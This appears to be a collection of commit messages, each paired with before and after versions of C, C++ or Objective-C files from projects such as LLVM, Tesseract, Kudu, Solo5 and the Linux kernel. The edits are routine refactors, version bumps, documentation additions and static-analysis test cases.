#ifndef SESSION_CLIENT_H #define SESSION_CLIENT_H /// PROJECT #include <csapex/io/session.h> /// SYSTEM #include <boost/asio.hpp> #include <boost/version.hpp> namespace csapex { class SessionClient : public Session { public: SessionClient(const std::string& ip, int port); ~SessionClient() override; std::string getDescription() const override; void run() override; void shutdown() override; bool isRunning() const override; private: boost::asio::io_service io_service; boost::asio::ip::tcp::socket socket_impl; boost::asio::ip::tcp::resolver resolver; #if (BOOST_VERSION / 100000) >= 1 && (BOOST_VERSION / 100 % 1000) >= 66 boost::asio::ip::tcp::resolver::endpoint_type resolver_iterator; #else // deprecated in boost 1.66 boost::asio::ip::tcp::resolver::iterator resolver_iterator; #endif bool io_service_running_; std::string ip_; int port_; }; } // namespace csapex #endif // SESSION_CLIENT_H
Replace implementation of is_detected with one that works with gcc
#pragma once #include <type_traits> namespace Halley { // is_detected_v is based on https://en.cppreference.com/w/cpp/experimental/is_detected namespace detail { template<template<class...> class Expr, class... Args> std::false_type is_detected_impl(...); template<template<class...> class Expr, class... Args> std::true_type is_detected_impl(std::void_t<Expr<Args...>>*); } template<template<class...> class Expr, class... Args> using is_detected = decltype(detail::is_detected_impl<Expr, Args...>(nullptr)); template<template<class...> class Expr, class... Args> constexpr bool is_detected_v = is_detected<Expr, Args...>::value; }
#pragma once #include <type_traits> namespace Halley { // is_detected_v is based on https://en.cppreference.com/w/cpp/experimental/is_detected struct nonesuch { ~nonesuch() = delete; nonesuch(nonesuch const&) = delete; void operator=(nonesuch const&) = delete; }; namespace detail { template <class Default, class AlwaysVoid, template<class...> class Op, class... Args> struct detector { using value_t = std::false_type; using type = Default; }; template <class Default, template<class...> class Op, class... Args> struct detector<Default, std::void_t<Op<Args...>>, Op, Args...> { using value_t = std::true_type; using type = Op<Args...>; }; } template <template<class...> class Op, class... Args> using is_detected = typename detail::detector<nonesuch, void, Op, Args...>::value_t; template<template<class...> class Expr, class... Args> constexpr bool is_detected_v = is_detected<Expr, Args...>::value; }
Update client version to 0.9.5
#ifndef CLIENTVERSION_H #define CLIENTVERSION_H // // client versioning and copyright year // // These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it #define CLIENT_VERSION_MAJOR 0 #define CLIENT_VERSION_MINOR 9 #define CLIENT_VERSION_REVISION 3 #define CLIENT_VERSION_BUILD 0 // Set to true for release, false for prerelease or test build #define CLIENT_VERSION_IS_RELEASE true // Copyright year (2009-this) // Todo: update this when changing our copyright comments in the source #define COPYRIGHT_YEAR 2013 // Converts the parameter X to a string after macro replacement on X has been performed. // Don't merge these into one macro! #define STRINGIZE(X) DO_STRINGIZE(X) #define DO_STRINGIZE(X) #X #endif // CLIENTVERSION_H
#ifndef CLIENTVERSION_H #define CLIENTVERSION_H // // client versioning and copyright year // // These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it #define CLIENT_VERSION_MAJOR 0 #define CLIENT_VERSION_MINOR 9 #define CLIENT_VERSION_REVISION 5 #define CLIENT_VERSION_BUILD 0 // Set to true for release, false for prerelease or test build #define CLIENT_VERSION_IS_RELEASE true // Copyright year (2009-this) // Todo: update this when changing our copyright comments in the source #define COPYRIGHT_YEAR 2014 // Converts the parameter X to a string after macro replacement on X has been performed. // Don't merge these into one macro! #define STRINGIZE(X) DO_STRINGIZE(X) #define DO_STRINGIZE(X) #X #endif // CLIENTVERSION_H
Add relational protection-based litmus test
// PARAM: --sets ana.activated[+] octApron #include <pthread.h> #include <assert.h> int g = 42; // matches write in t_fun pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { pthread_mutex_lock(&A); pthread_mutex_lock(&B); g = 42; pthread_mutex_unlock(&B); pthread_mutex_unlock(&A); return NULL; } int main(void) { int r, t; pthread_t id; pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&A); pthread_mutex_lock(&B); if (r) { g = 17; pthread_mutex_unlock(&B); // publish to g#prot pthread_mutex_lock(&B); } // locally written g is only in one branch, g == g#prot should be forgotten! t = g; assert(t == 17); // UNKNOWN! pthread_mutex_unlock(&B); pthread_mutex_unlock(&A); return 0; }
Call into the discovery function and wait for someone to say hi
#include <syslog.h> #include "cl_discovery.h" #include "cl_discovery_thread.h" void * start_discovery(void * args) { syslog(LOG_INFO, "started discovery thread"); for (;;) { continue; } }
#include <stdlib.h> #include <syslog.h> #include "cl_discovery.h" #include "cl_discovery_thread.h" void * start_discovery(void * args) { syslog(LOG_INFO, "started discovery thread"); for (;;) { struct CL_Discovery_Transport *discovered_transport = malloc(sizeof(struct CL_Discovery_Transport)); wait_for_transport(discovered_transport); } }
ADD Local Gardient (really high pass)
/*========================================================================= Program: ORFEO Toolbox Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) Centre National d'Etudes Spatiales. All rights reserved. See OTBCopyright.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #ifndef __otbLocalGradientVectorImageFilter_h #define __otbLocalGradientVectorImageFilter_h #include "otbUnaryFunctorNeighborhoodVectorImageFilter.h" #include <itkNumericTraits.h> namespace otb { namespace Functor { /** \class LocalGradientOperator * \brief Performs the calculation of LocalGradient derivation */ template < class TInput, class TOutput > class LocalGradientOperator { public: LocalGradientOperator() { } virtual ~LocalGradientOperator() { } TOutput operator() ( const TInput & input ) { /* * it is assumed that input and output have the same size */ unsigned int length = input.GetPixel(0).Size(); TOutput output ( length ); for ( unsigned int i = 0; i < length; i++ ) { output[i] = static_cast<typename TOutput::ValueType>( input.GetPixel(4)[i] - input.GetPixel(5)[i] / 2. - input.GetPixel(7)[i] / 2. ); } return output; } }; // end of functor class } // end of namespace Functor /** \class LocalGradientVectorImageFilter * \brief Implements the 3x3 Local Gradient to be processed on a vector image */ template < class TInputImage, class TOutputImage > class ITK_EXPORT LocalGradientVectorImageFilter : public UnaryFunctorNeighborhoodVectorImageFilter< TInputImage, TOutputImage, Functor::LocalGradientOperator< typename itk::ConstNeighborhoodIterator<TInputImage>, typename TOutputImage::PixelType > > { public: /** Standart class typedefs */ typedef LocalGradientVectorImageFilter Self; typedef UnaryFunctorNeighborhoodVectorImageFilter< TInputImage, TOutputImage, Functor::LocalGradientOperator< typename itk::ConstNeighborhoodIterator<TInputImage>, typename TOutputImage::PixelType > > Superclass; typedef itk::SmartPointer<Self> Pointer; typedef itk::SmartPointer<const Self> ConstPointer; /** Method for creation through the object factory. */ itkNewMacro(Self); /** Creation through object factory macro */ itkTypeMacro(LocalGradientVectorImageFilter, ImageToImageFilter); protected: LocalGradientVectorImageFilter() { } virtual ~LocalGradientVectorImageFilter() { } private: LocalGradientVectorImageFilter( const Self & ); // Not implemented void operator=( const Self & ); // Not implemented }; // end of class } // end of namespace otb #endif // __otbLocalGradientVectorImageFilter_h
Fix warning about struct/class mismatch
#ifndef SEARCHRESULTCOLOR_H #define SEARCHRESULTCOLOR_H #include <QColor> namespace Find { namespace Internal { struct SearchResultColor{ QColor textBackground; QColor textForeground; QColor highlightBackground; QColor highlightForeground; }; } // namespace Internal } // namespace Find #endif // SEARCHRESULTCOLOR_H
#ifndef SEARCHRESULTCOLOR_H #define SEARCHRESULTCOLOR_H #include <QColor> namespace Find { namespace Internal { class SearchResultColor{ public: QColor textBackground; QColor textForeground; QColor highlightBackground; QColor highlightForeground; }; } // namespace Internal } // namespace Find #endif // SEARCHRESULTCOLOR_H
Fix sw build error by using TESS_API for global variable log_level
/********************************************************************** * File: tprintf.h * Description: Trace version of printf - portable between UX and NT * Author: Phil Cheatle * * (C) Copyright 1995, Hewlett-Packard Ltd. ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** http://www.apache.org/licenses/LICENSE-2.0 ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. * **********************************************************************/ #ifndef TESSERACT_CCUTIL_TPRINTF_H #define TESSERACT_CCUTIL_TPRINTF_H #include "params.h" // for BOOL_VAR_H #include <tesseract/export.h> // for TESS_API namespace tesseract { // Disable some log messages by setting log_level > 0. extern INT_VAR_H(log_level); // Main logging function. extern TESS_API void tprintf( // Trace printf const char *format, ...); // Message } // namespace tesseract #endif // define TESSERACT_CCUTIL_TPRINTF_H
/********************************************************************** * File: tprintf.h * Description: Trace version of printf - portable between UX and NT * Author: Phil Cheatle * * (C) Copyright 1995, Hewlett-Packard Ltd. ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** http://www.apache.org/licenses/LICENSE-2.0 ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. * **********************************************************************/ #ifndef TESSERACT_CCUTIL_TPRINTF_H #define TESSERACT_CCUTIL_TPRINTF_H #include "params.h" // for BOOL_VAR_H #include <tesseract/export.h> // for TESS_API namespace tesseract { // Disable some log messages by setting log_level > 0. extern TESS_API INT_VAR_H(log_level); // Main logging function. extern TESS_API void tprintf( // Trace printf const char *format, ...); // Message } // namespace tesseract #endif // define TESSERACT_CCUTIL_TPRINTF_H
Add a CountDownLatch class like Java's
// Copyright (c) 2013, Cloudera, inc. // // This is a C++ implementation of the Java CountDownLatch // class. // See http://docs.oracle.com/javase/6/docs/api/java/util/concurrent/CountDownLatch.html #ifndef KUDU_UTIL_COUNTDOWN_LATCH_H #define KUDU_UTIL_COUNTDOWN_LATCH_H #include <boost/noncopyable.hpp> #include <boost/thread/mutex.hpp> namespace kudu { class CountDownLatch : boost::noncopyable { public: // Initialize the latch with the given initial count. CountDownLatch(int count) : count_(count) {} // Decrement the count of this latch. // If the new count is zero, then all waiting threads are woken up. // If the count is already zero, this has no effect. void CountDown() { boost::lock_guard<boost::mutex> lock(lock_); if (count_ == 0) { return; } if (--count_ == 0) { // Latch has triggered. cond_.notify_all(); } } // Wait until the count on the latch reaches zero. // If the count is already zero, this returns immediately. void Wait() { boost::unique_lock<boost::mutex> lock(lock_); while (count_ > 0) { cond_.wait(lock); } } // Wait on the latch for the given duration of time. // Return true if the latch reaches 0 within the given // timeout. Otherwise false. // // For example: // latch.TimedWait(boost::posix_time::milliseconds(100)); template<class TimeDuration> bool TimedWait(TimeDuration const &relative_time) { return TimedWait(boost::get_system_time() + relative_time); } // Wait on the latch until the given system time. // Return true if the latch reaches 0 within the given // timeout. Otherwise false. bool TimedWait(const boost::system_time &time_until) { boost::unique_lock<boost::mutex> lock(lock_); while (count_ > 0) { if (!cond_.timed_wait(lock, time_until)) { return false; } } return true; } uint64_t count() const { return count_; } private: mutable boost::mutex lock_; boost::condition_variable cond_; uint64_t count_; }; } // namespace kudu #endif
Make a new GenericBinaryInst class, instead of providing lots of silly little classes.
//===-- llvm/iBinary.h - Binary Operator node definitions --------*- C++ -*--=// // // This file contains the declarations of all of the Binary Operator classes. // //===----------------------------------------------------------------------===// #ifndef LLVM_IBINARY_H #define LLVM_IBINARY_H #include "llvm/InstrTypes.h" //===----------------------------------------------------------------------===// // Classes to represent Binary operators //===----------------------------------------------------------------------===// // // All of these classes are subclasses of the BinaryOperator class... // class AddInst : public BinaryOperator { public: AddInst(Value *S1, Value *S2, const string &Name = "") : BinaryOperator(Instruction::Add, S1, S2, Name) { } virtual string getOpcode() const { return "add"; } }; class SubInst : public BinaryOperator { public: SubInst(Value *S1, Value *S2, const string &Name = "") : BinaryOperator(Instruction::Sub, S1, S2, Name) { } virtual string getOpcode() const { return "sub"; } }; class SetCondInst : public BinaryOperator { BinaryOps OpType; public: SetCondInst(BinaryOps opType, Value *S1, Value *S2, const string &Name = ""); virtual string getOpcode() const; }; #endif
//===-- llvm/iBinary.h - Binary Operator node definitions --------*- C++ -*--=// // // This file contains the declarations of all of the Binary Operator classes. // //===----------------------------------------------------------------------===// #ifndef LLVM_IBINARY_H #define LLVM_IBINARY_H #include "llvm/InstrTypes.h" //===----------------------------------------------------------------------===// // Classes to represent Binary operators //===----------------------------------------------------------------------===// // // All of these classes are subclasses of the BinaryOperator class... // class GenericBinaryInst : public BinaryOperator { const char *OpcodeString; public: GenericBinaryInst(unsigned Opcode, Value *S1, Value *S2, const char *OpcodeStr, const string &Name = "") : BinaryOperator(Opcode, S1, S2, Name) { OpcodeString = OpcodeStr; } virtual string getOpcode() const { return OpcodeString; } }; class SetCondInst : public BinaryOperator { BinaryOps OpType; public: SetCondInst(BinaryOps opType, Value *S1, Value *S2, const string &Name = ""); virtual string getOpcode() const; }; #endif
Revert "[PATCH] LOG2: Alter get_order() so that it can make use of ilog2() on a constant"
#ifndef _ASM_GENERIC_PAGE_H #define _ASM_GENERIC_PAGE_H #ifdef __KERNEL__ #ifndef __ASSEMBLY__ #include <linux/log2.h> /* * non-const pure 2^n version of get_order * - the arch may override these in asm/bitops.h if they can be implemented * more efficiently than using the arch log2 routines * - we use the non-const log2() instead if the arch has defined one suitable */ #ifndef ARCH_HAS_GET_ORDER static inline __attribute__((const)) int __get_order(unsigned long size, int page_shift) { #if BITS_PER_LONG == 32 && defined(ARCH_HAS_ILOG2_U32) int order = __ilog2_u32(size) - page_shift; return order >= 0 ? order : 0; #elif BITS_PER_LONG == 64 && defined(ARCH_HAS_ILOG2_U64) int order = __ilog2_u64(size) - page_shift; return order >= 0 ? order : 0; #else int order; size = (size - 1) >> (page_shift - 1); order = -1; do { size >>= 1; order++; } while (size); return order; #endif } #endif /** * get_order - calculate log2(pages) to hold a block of the specified size * @n - size * * calculate allocation order based on the current page size * - this can be used to initialise global variables from constant data */ #define get_order(n) \ ( \ __builtin_constant_p(n) ? \ ((n < (1UL << PAGE_SHIFT)) ? 0 : ilog2(n) - PAGE_SHIFT) : \ __get_order(n, PAGE_SHIFT) \ ) #endif /* __ASSEMBLY__ */ #endif /* __KERNEL__ */ #endif /* _ASM_GENERIC_PAGE_H */
#ifndef _ASM_GENERIC_PAGE_H #define _ASM_GENERIC_PAGE_H #ifdef __KERNEL__ #ifndef __ASSEMBLY__ #include <linux/compiler.h> /* Pure 2^n version of get_order */ static __inline__ __attribute_const__ int get_order(unsigned long size) { int order; size = (size - 1) >> (PAGE_SHIFT - 1); order = -1; do { size >>= 1; order++; } while (size); return order; } #endif /* __ASSEMBLY__ */ #endif /* __KERNEL__ */ #endif /* _ASM_GENERIC_PAGE_H */
Add skipped regression test that exposes unsoundness when comparing addresses with integer and field offset.
// SKIP #include <assert.h> struct str{ int a; char c; }; int main(){ struct str a; char* ca = (char*) &a; void *ptr = &ca[4]; void *ptr2 = &a.c; int z = 1; // Alginment of struct fields, and thus result of the equality check here is implementation defined. if(ptr == ptr2){ z = 1; } else { z = 2; } // Aaccording to the C standard (section 6.2.8 in the C11 standard), // the alignment of fields in structs is implementation defined. // When compiling with GCC, the following check as an assert happens to hold. __goblint_check(z==1); //UNKNOWN! }
Add method to retrieve object using an URI
@import CoreData; @interface NSManagedObject (HYPURI) - (NSString *)hyp_URI; @end
@import CoreData; @interface NSManagedObject (HYPURI) - (NSString *)hyp_URI; + (NSManagedObject *)managedObjectWithURI:(NSString *)URI inContext:(NSManagedObjectContext *)context; @end
Add missing file. Oops :(
// Copyright (c) 2008 The Chromium Authors. All rights reserved. Use of this // source code is governed by a BSD-style license that can be found in the // LICENSE file. #ifndef WEBKIT_GLUE_SCREEN_INFO_H_ #define WEBKIT_GLUE_SCREEN_INFO_H_ #include "base/gfx/rect.h" namespace webkit_glue { struct ScreenInfo { int depth; int depth_per_component; bool is_monochrome; gfx::Rect rect; gfx::Rect available_rect; }; } // namespace webkit_glue #endif // WEBKIT_GLUE_SCREEN_INFO_H_
Revert "Revert "Add support for the Python Stdout Log""
// Copyright 1998-2016 Epic Games, Inc. All Rights Reserved. #pragma once #include "ModuleManager.h" DECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All); class UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface { public: bool PythonGILAcquire(); void PythonGILRelease(); virtual void StartupModule() override; virtual void ShutdownModule() override; void RunString(char *); void RunFile(char *); void RunFileSandboxed(char *); private: void *ue_python_gil; // used by console void *main_dict; void *local_dict; }; struct FScopePythonGIL { FScopePythonGIL() { #if defined(UEPY_THREADING) UnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>("UnrealEnginePython"); safeForRelease = UnrealEnginePythonModule.PythonGILAcquire(); #endif } ~FScopePythonGIL() { #if defined(UEPY_THREADING) if (safeForRelease) { UnrealEnginePythonModule.PythonGILRelease(); } #endif } FUnrealEnginePythonModule UnrealEnginePythonModule; bool safeForRelease; };
// Copyright 1998-2016 Epic Games, Inc. All Rights Reserved. #pragma once #include "ModuleManager.h" DECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All); class UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface { public: bool PythonGILAcquire(); void PythonGILRelease(); virtual void StartupModule() override; virtual void ShutdownModule() override; void RunString(char *); void RunFile(char *); void RunFileSandboxed(char *); private: void *ue_python_gil; // used by console void *main_dict; void *local_dict; void *main_module; }; struct FScopePythonGIL { FScopePythonGIL() { #if defined(UEPY_THREADING) UnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>("UnrealEnginePython"); safeForRelease = UnrealEnginePythonModule.PythonGILAcquire(); #endif } ~FScopePythonGIL() { #if defined(UEPY_THREADING) if (safeForRelease) { UnrealEnginePythonModule.PythonGILRelease(); } #endif } FUnrealEnginePythonModule UnrealEnginePythonModule; bool safeForRelease; };
Add source code documentation for the Merge Operator class
// // RocksDBMergeOperator.h // ObjectiveRocks // // Created by Iska on 07/12/14. // Copyright (c) 2014 BrainCookie. All rights reserved. // #import <Foundation/Foundation.h> @interface RocksDBMergeOperator : NSObject + (instancetype)operatorWithName:(NSString *)name andBlock:(id (^)(id key, id existingValue, id value))block; + (instancetype)operatorWithName:(NSString *)name partialMergeBlock:(NSString * (^)(id key, NSString *leftOperand, NSString *rightOperand))partialMergeBlock fullMergeBlock:(id (^)(id key, id existingValue, NSArray *operandList))fullMergeBlock; @end
// // RocksDBMergeOperator.h // ObjectiveRocks // // Created by Iska on 07/12/14. // Copyright (c) 2014 BrainCookie. All rights reserved. // #import <Foundation/Foundation.h> /** A Merge operator is an atomic Read-Modify-Write operation in RocksDB. */ @interface RocksDBMergeOperator : NSObject /** Initializes a new instance of an associative merge operator. @discussion This Merge Operator can be use for associative data: * The merge operands are formatted the same as the Put values, AND * It is okay to combine multiple operands into one (as long as they are in the same order) @param name The name of the merge operator. @param block The block that merges the existing and new values for the given key. @return A newly-initialized instance of the Merge Operator. */ + (instancetype)operatorWithName:(NSString *)name andBlock:(id (^)(id key, id existingValue, id value))block; /** Initializes a new instance of a generic merge operator. @discussion If either of the two associativity constraints do not hold, then the Generic Merge Operator could be used. The Generic Merge Operator has two methods, PartialMerge, FullMerge: * PartialMerge: used to combine two-merge operands (if possible). If the client-specified operator can logically handle “combining” two merge-operands into a single operand, the semantics for doing so should be provided in this method, which should then return a non-nil object. If `nil` is returned, then it means that the two merge-operands couldn’t be combined into one. * FullMerge: this function is given an existingValue and a list of operands that have been stacked. The client-specified MergeOperator should then apply the operands one-by-one and return the resulting object. If `nil` is returned, then this indicates a failure, i.e. corrupted data, errors ... etc. @param name The name of the merge operator. @param partialMergeBlock The block to perform a partial merge. @param fullMergeBlock The block to perform the full merge. @return A newly-initialized instance of the Merge Operator. */ + (instancetype)operatorWithName:(NSString *)name partialMergeBlock:(NSString * (^)(id key, NSString *leftOperand, NSString *rightOperand))partialMergeBlock fullMergeBlock:(id (^)(id key, id existingValue, NSArray *operandList))fullMergeBlock; @end
Disable a method in adapter
// // AKTableViewCellAdapter.h // AppKit // // Created by Zijiao Liu on 12/20/15. // Copyright © 2015 Zijiao Liu. All rights reserved. // #import "AKTableViewConfiguration.h" #import "AKTableViewCell.h" @interface AKTableViewCellAdapter : NSObject <AKTableViewConfiguration> - (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item groupStyle:(AKTableViewCellGroupStyle)groupStyle seperatorEnabled:(BOOL)seperatorEnabled heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath; @end
// // AKTableViewCellAdapter.h // AppKit // // Created by Zijiao Liu on 12/20/15. // Copyright © 2015 Zijiao Liu. All rights reserved. // #import "AKTableViewConfiguration.h" #import "AKTableViewCell.h" @interface AKTableViewCellAdapter : NSObject <AKTableViewConfiguration> - (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath NS_UNAVAILABLE; - (CGFloat)dataViewController:(nonnull AKDataViewController *)dataViewController item:(nonnull id<NSObject>)item groupStyle:(AKTableViewCellGroupStyle)groupStyle seperatorEnabled:(BOOL)seperatorEnabled heightForRowAtIndexPath:(nonnull NSIndexPath *)indexPath; @end
Change to use inline function instead of macro.
// // STPLocalizedStringUtils.h // Stripe // // Created by Brian Dorfman on 8/11/16. // Copyright © 2016 Stripe, Inc. All rights reserved. // #import <Foundation/Foundation.h> #define STPLocalizedString(key, comment) \ [STPLocalizationUtils localizedStripeStringForKey:(key)] @interface STPLocalizationUtils : NSObject /** Acts like NSLocalizedString but tries to find the string in the Stripe bundle first if possible. */ + (nonnull NSString *)localizedStripeStringForKey:(nonnull NSString *)key; @end
// // STPLocalizationUtils.h // Stripe // // Created by Brian Dorfman on 8/11/16. // Copyright © 2016 Stripe, Inc. All rights reserved. // #import <Foundation/Foundation.h> @interface STPLocalizationUtils : NSObject /** Acts like NSLocalizedString but tries to find the string in the Stripe bundle first if possible. */ + (nonnull NSString *)localizedStripeStringForKey:(nonnull NSString *)key; @end static inline NSString * _Nonnull STPLocalizedString(NSString* _Nonnull key, NSString * _Nullable __unused comment) { return [STPLocalizationUtils localizedStripeStringForKey:key]; }
Fix includes to just what is needed.
// // BRScrollerUtilities.c // BRScroller // // Created by Matt on 7/11/13. // Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0. // #include "BRScrollerUtilities.h" #if !defined(MIN) #define MIN(A,B) ((A) < (B) ? (A) : (B)) #endif inline bool BRFloatsAreEqual(CGFloat a, CGFloat b) { const CGFloat d = a - b; return (d < 0 ? -d : d) < 1e-4; } inline CGSize BRAspectSizeToFit(CGSize aSize, CGSize maxSize) { CGFloat scale = 1.0; if ( aSize.width > 0.0 && aSize.height > 0.0 ) { CGFloat dw = maxSize.width / aSize.width; CGFloat dh = maxSize.height / aSize.height; scale = dw < dh ? dw : dh; } return CGSizeMake(MIN(floorf(maxSize.width), ceilf(aSize.width * scale)), MIN(floorf(maxSize.height), ceilf(aSize.height * scale))); }
// // BRScrollerUtilities.c // BRScroller // // Created by Matt on 7/11/13. // Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0. // #include "BRScrollerUtilities.h" #include <math.h> #include <sys/param.h> inline bool BRFloatsAreEqual(CGFloat a, CGFloat b) { const CGFloat d = a - b; return (d < 0 ? -d : d) < 1e-4; } inline CGSize BRAspectSizeToFit(CGSize aSize, CGSize maxSize) { CGFloat scale = 1.0; if ( aSize.width > 0.0 && aSize.height > 0.0 ) { CGFloat dw = maxSize.width / aSize.width; CGFloat dh = maxSize.height / aSize.height; scale = dw < dh ? dw : dh; } return CGSizeMake(MIN(floorf(maxSize.width), ceilf(aSize.width * scale)), MIN(floorf(maxSize.height), ceilf(aSize.height * scale))); }
Use Foundation in the umbrella header
// // RxHyperdrive.h // RxHyperdrive // // Created by Kyle Fuller on 13/09/2015. // Copyright © 2015 Cocode. All rights reserved. // #import <Cocoa/Cocoa.h> //! Project version number for RxHyperdrive. FOUNDATION_EXPORT double RxHyperdriveVersionNumber; //! Project version string for RxHyperdrive. FOUNDATION_EXPORT const unsigned char RxHyperdriveVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <RxHyperdrive/PublicHeader.h>
// // RxHyperdrive.h // RxHyperdrive // // Created by Kyle Fuller on 13/09/2015. // Copyright © 2015 Cocode. All rights reserved. // @import Foundation; //! Project version number for RxHyperdrive. FOUNDATION_EXPORT double RxHyperdriveVersionNumber; //! Project version string for RxHyperdrive. FOUNDATION_EXPORT const unsigned char RxHyperdriveVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <RxHyperdrive/PublicHeader.h>
Add missing file from last commit
//===- ASTSerializationListener.h - Decl/Type PCH Write Events -*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file defines the ASTSerializationListener class, which is notified // by the ASTWriter when an entity is serialized. // //===----------------------------------------------------------------------===// #ifndef LLVM_CLANG_FRONTEND_AST_SERIALIZATION_LISTENER_H #define LLVM_CLANG_FRONTEND_AST_SERIALIZATION_LISTENER_H #include "llvm/System/DataTypes.h" namespace clang { class PreprocessedEntity; /// \brief Listener object that receives callbacks when certain kinds of /// entities are serialized. class ASTSerializationListener { public: virtual ~ASTSerializationListener(); /// \brief Callback invoked whenever a preprocessed entity is serialized. /// /// This callback will only occur when the translation unit was created with /// a detailed preprocessing record. /// /// \param Entity The entity that has been serialized. /// /// \param Offset The offset (in bits) of this entity in the resulting /// AST file. virtual void SerializedPreprocessedEntity(PreprocessedEntity *Entity, uint64_t Offset) = 0; }; } #endif
Add a simple test to play with libgcrypt
/* * test_gcrypt - Copyright 2009 Slide, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License * for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library; if not, write to the * Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <glib.h> #include <gcrypt.h> void __test_mpi_scan() { const char *order = "ffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973"; char *outbuf; gcry_mpi_t point = gcry_mpi_new(0); int rc = 0; int n = 0; rc = gcry_mpi_scan(&point, GCRYMPI_FMT_HEX, order, 0, NULL); g_assert(rc == 0); fprintf(stderr, "OUT %s : %d\n", outbuf, n); } int main(int argc, char **argv) { int rc = 0; g_test_init(&argc, &argv, NULL); /* * Test some basic mpi operations */ g_test_add_func("/mpi/scan", __test_mpi_scan); rc = g_test_run(); fflush(stderr); return rc; }
Rework solo5_yield to support multiple devices
/* * Copyright (c) 2017 Contributors as noted in the AUTHORS file * * This file is part of Solo5, a sandboxed execution environment. * * Permission to use, copy, modify, and/or distribute this software * for any purpose with or without fee is hereby granted, provided * that the above copyright notice and this permission notice appear * in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "../bindings.h" #include "muen-net.h" bool solo5_yield(uint64_t deadline) { bool rc = false; do { if (muen_net_pending_data()) { rc = true; break; } __asm__ __volatile__("pause"); } while (solo5_clock_monotonic() < deadline); if (muen_net_pending_data()) { rc = true; } return rc; }
/* * Copyright (c) 2017 Contributors as noted in the AUTHORS file * * This file is part of Solo5, a sandboxed execution environment. * * Permission to use, copy, modify, and/or distribute this software * for any purpose with or without fee is hereby granted, provided * that the above copyright notice and this permission notice appear * in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "../bindings.h" #include "muen-net.h" void solo5_yield(solo5_time_t deadline, solo5_handle_set_t *ready_set) { solo5_handle_set_t tmp_ready_set = 0; do { for (solo5_handle_t i = 0U; i < MFT_MAX_ENTRIES; ++i) { if (muen_net_pending_data(i)) tmp_ready_set |= 1UL << i; } if (tmp_ready_set > 0) break; __asm__ __volatile__("pause"); } while (solo5_clock_monotonic() < deadline); if (ready_set) *ready_set = tmp_ready_set; }
Add definition for item structs
